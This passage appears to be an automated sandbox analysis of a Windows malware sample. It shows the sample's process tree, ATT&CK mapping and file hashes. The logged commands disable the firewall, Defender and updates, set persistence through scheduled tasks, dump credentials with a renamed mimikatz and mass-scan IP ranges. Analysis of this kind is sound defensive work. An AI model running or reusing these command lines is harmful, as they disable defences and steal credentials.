- Suspicious use of SetWindowsHookEx
PID:2704
-
-
-
C:\Windows\mitkhive\gevvryv.exeC:\Windows\mitkhive\gevvryv.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1088
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:2716
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2828
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:2036
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2560
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:2568
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2360
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2872
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2928
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe /S2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exeC:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:2808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
PID:2860
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
PID:2200 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2124
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
PID:760 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:1888
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:828 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:2304
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:2976 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:2056 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:2952
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:1764 -
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1636
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:1040
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\lcrephtiz\ebttsfbtk\Scant.txt2⤵
- Loads dropped DLL
PID:1432 -
C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exeC:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\lcrephtiz\ebttsfbtk\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1044
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\lcrephtiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\lcrephtiz\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:2224 -
C:\Windows\lcrephtiz\Corporate\vfshost.exeC:\Windows\lcrephtiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2188
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pkvrzlnif" /ru system /tr "cmd /c C:\Windows\ime\gevvryv.exe"2⤵PID:1052
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1564
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pkvrzlnif" /ru system /tr "cmd /c C:\Windows\ime\gevvryv.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1596
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "livvetkbs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:1084 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2440
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "livvetkbs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eaunvhgee" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:1708 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2144
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eaunvhgee" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2352
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2332
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2760
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2692
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2828
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2672
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2512
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2900
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2924
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1560
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:2288
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2724
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1872
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
PID:1464 -
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
PID:1576 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
PID:1104
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1356
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2960
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:828
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
- System Location Discovery: System Language Discovery
PID:1428 -
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:2132
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:900
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- System Location Discovery: System Language Discovery
PID:2176 -
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
PID:1044 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
PID:1432
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
PID:1496 -
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
PID:2504 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
PID:832
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2292 -
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:2388
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1320
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:2976 -
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:640
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
PID:908 -
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1312
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:556
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 340 C:\Windows\TEMP\lcrephtiz\340.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:692
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1116 C:\Windows\TEMP\lcrephtiz\1116.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2932
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1164 C:\Windows\TEMP\lcrephtiz\1164.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2264
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1228 C:\Windows\TEMP\lcrephtiz\1228.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1364 C:\Windows\TEMP\lcrephtiz\1364.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 1516 C:\Windows\TEMP\lcrephtiz\1516.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2920
-
-
C:\Windows\TEMP\lcrephtiz\sbigaauav.exeC:\Windows\TEMP\lcrephtiz\sbigaauav.exe -accepteula -mp 2260 C:\Windows\TEMP\lcrephtiz\2260.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2572
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\lcrephtiz\ebttsfbtk\scan.bat2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1376 -
C:\Windows\lcrephtiz\ebttsfbtk\rkgteichq.exerkgteichq.exe TCP 194.110.0.1 194.110.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:640
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
PID:3576 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3900
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4044
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:3864
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4040
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3972
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3016
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1010474416-1593226771-1594957779-10660196672145897906138127739618508196882054748799"1⤵PID:1040
-
C:\Windows\SysWOW64\sssscc.exeC:\Windows\SysWOW64\sssscc.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1600
-
C:\Windows\system32\taskeng.exetaskeng.exe {4F1564C3-7B60-442F-BD51-314BC7B96064} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1568
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F2⤵PID:2860
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1484
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F3⤵PID:2392
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gevvryv.exe2⤵PID:672
-
C:\Windows\ime\gevvryv.exeC:\Windows\ime\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:1776
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F2⤵PID:3020
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1612
-
-
C:\Windows\system32\cacls.execacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F3⤵PID:760
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F2⤵PID:3444
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1596
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\qamknffpe\riflvg.exe /p everyone:F3⤵PID:3728
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F2⤵PID:3512
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3708
-
-
C:\Windows\system32\cacls.execacls C:\Windows\mitkhive\gevvryv.exe /p everyone:F3⤵PID:3500
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gevvryv.exe2⤵PID:3932
-
C:\Windows\ime\gevvryv.exeC:\Windows\ime\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:1820
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:268
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1732
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:3320
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.4MB
MD584fea3167b8947e1e5269a3caa28ec14
SHA1ed053b8fa9d0375dff8b20281e757cea6a75f58f
SHA256f8c68e71f49d18b190a1343f3198ceeaa3ce803831317f13809f8e526a17d196
SHA512fa7e1fd6fab79231d215b4633dbef20c586c98dae63cc27a59439748583aeae7389873e1778ed0dbcccfcc65d77c6d4bfeacde7a09af23e39eccea5fd51ae117
-
Filesize
1.3MB
MD5fbf57721d4a31e7c4f4797412272b7e8
SHA17d8f5e694d0c15ca98bee9d9bd558946ffba90ba
SHA25630d0006ba63bcd8d491310c18d377447f3af8b6d9b631658dee5e6d7219fc66d
SHA5123fa270c931b81c9e387533fb31622ea380545a29f31395c1679671ef2cd7bb7f226b3646740c230fc53514b44ae329c458b65c44efe92b5c0949fa1a6bd71ea6
-
Filesize
4.0MB
MD53fef58fdae5f3d1f93f4f01dc26837bd
SHA177910ed33000929fa017452c36db5abeb2479e23
SHA256ca5690aeb16fa97ed433eaab33214b90b16ac1a3fc6213cd02c24bc13fea50be
SHA512c85b480bed943fdcb79eb0abdbc479550a510c490f919c788bc4acc48a4b4f598b4d354c7afb206d75370c96d41e9ff37d6f519b55787e816045e7465180cf3f
-
Filesize
2.2MB
MD52935d7d7991579690d032389210828c5
SHA17d9273a4fa0553a4d3dd5cfc01e77f87786e712d
SHA256bb7f68ebb559a0bb5e6c000c5f02c0b860064e7582eec5a55a4589bdfb38cda8
SHA512dfdfd9bb338df2d39bab606f771ef442d4c2c914cf22bb02dbce2683f81a95ecf4e6aa852bb4445899fc4c72b436eb48ad0df2f35b05eac0adaed0234e928dd1
-
Filesize
5.3MB
MD50bc53c270ef7f7151485a36fcffb3c5d
SHA17c51999a6c67fe492fe31d39ee25963ba484099e
SHA25614b6c5e478c7ae3bffd66b692befea938dcfcdd6f666ee2c470daa2af4ea848e
SHA512159ef86e87306ef2565d44dc58aef1f6aa8b2d05d86bc0ca5ba820c552b439a81f6b729b274d0e24a874101afaea311694732196406309767e010c8cc4a221e9
-
Filesize
6.4MB
MD51d22f6ba1294c00dfa1c1ea3b99458d6
SHA1374c8d3cc8500457b16e7cfa4229c6a5b1e21b7d
SHA25639327d7b71fc1dbe529ce594a7af008dc7887bcb8fbb0ab4d94495eb575aaed3
SHA512862c2462551fa11ba23bfdeb5c47be5a1233d9172d83b6db35d0b64a25967664bcec8d9eb5d328428da0d260729d429b08721359ae8217440e6ca3173444ebb2
-
Filesize
4.6MB
MD5c6abda69a1b0adf473570392be838335
SHA173b0b8e1c3a280ab7b69305c0e93dd307648a0ca
SHA2560004500005a4e40815e3a8869cb6f9ebcc588b8f0132e886775d4f2c0c8198c4
SHA512125239d39dae290d82a16d5aca747b514ff2c0ef45a7ff3d0038923eb65019770a2d075f98f5dbf7e3d438eab84d127f8bb60c0a915f5d84f7536c804d6ce22d
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
187B
MD5c324ea7c80fed087b83d8fcedbba9e1c
SHA1c9e6c21307e470a154448f7bf86c3cbe7351339d
SHA2560a52b60ee341598d771e0c9f3c1b9cadf30a8457fbf5b69871df9892328fb0a4
SHA512fee88e96506700f4363aa4d2e8b5b09624e1412ef896059c239f7fc844938d37dbb889fedb1b322987a7a5dd27ff652a5bcc11cdfe1196dce49ad13b4b7bcbca
-
Filesize
159B
MD5b0fa1b27c7275bf66d0f89495fb9bdb4
SHA1a5b8c6df937614c53c80ae9c3357ba84bb6792cc
SHA2561edaf7526e5a1518d0b3cff7620d4ffd4d38ad39fef74367f14248bc5dba3a19
SHA51207528a2b39e0d359a67ff98791a475dcbc546a7e55ae78fbc51c84d09840517e4866f24bc787458a3c81192ccb02902a442ce938a7a6d363cfd2b95d9280bd9c
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
8.9MB
MD51872e85986227cc9e4d4b34ac33f3ced
SHA1d0b35f450c35cb460e4e0676f7b3817d80dbf84d
SHA256fbcdb70a4a731bfc97e037ae0f816fa2b8eb25dc5c9f5898e0c95637b8906445
SHA51284f93a5a9433d479cff132ec6407722a5dea28e1afe6124d1d314ca49399aacd5814dc8f90a00f619d991493111ae121f2889cc06b3635f033de2d7c49569876
-
Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
